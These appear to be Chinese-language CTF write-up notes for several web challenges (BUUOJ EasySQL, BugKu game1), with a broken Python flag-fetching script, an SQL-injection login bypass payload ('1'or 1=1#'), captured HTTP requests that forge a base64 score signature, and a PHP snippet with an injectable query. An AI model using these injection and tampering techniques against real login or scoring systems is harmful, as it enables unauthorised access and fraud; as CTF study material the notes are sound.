url = 'http://114.67.246.176:11932' req = requests.Session() source = req.get(url) data1 = base64.b64decode(source.headers['flag']) print(data1) data1 = data1 [data1.index(":")+2:] print(data1) data = base64.b64decode(data1) print(data) post = {"margin":data} ans = s.post(url,post) print ans.content
BUUOJ-[极客大挑战 2019]EasySQL1
1 2 3 4
一般的验证语句为sql="select * from admin where username="&user&" and password="&pwd&"" 尝试万能密码 username=1'or 1=1#&password=1 账号中的’使前面的引号闭合,or 1=1 使语句恒成立,最后的#号会注释掉#之后的语句,避免报错. check.php?username=1%27or%201=1%23&password=1
BugKu game1
bp抓包
1 2 3 4 5 6 7 8 9
GET /score.php?score=25&ip=106.39.42.143&sign=zMMjU=== HTTP/1.1 Host: 114.67.246.176:11523 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: */* Referer: http://114.67.246.176:11523/?s=1631061774862 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.1016401715.1631061825; _gid=GA1.1.1665857216.1631061825; Hm_lvt_c1b044f909411ac4213045f0478e96fc=1631061825; _gat=1; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1631062078 Connection: close
考虑score和sign之间的关系,第一时间对sign进行base64解密,发现不正确 ̃#
对score加密 MjU=
发现属于是base64加上首部和尾部
替换较大分数并按照以上添加首尾部即可
1 2 3 4 5 6 7 8 9
GET /score.php?score=4000&ip=106.39.42.143&sign=zMNDAwMA==== HTTP/1.1 Host: 114.67.246.176:11523 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: */* Referer: http://114.67.246.176:11523/?s=1631061774862?s=1631062331778 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.1016401715.1631061825; _gid=GA1.1.1665857216.1631061825; Hm_lvt_c1b044f909411ac4213045f0478e96fc=1631061825; _gat=1; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1631062340 Connection: close
<?php // Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']); $password = mysql_real_escape_string($_GET['password']); $query = "SELECT * FROM users WHERE username='$username'"; $res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully . . } else { // If not, only then insert a new entry $query = "INSERT INTO users(username, password) VALUES ('$username','$password')"; . . } }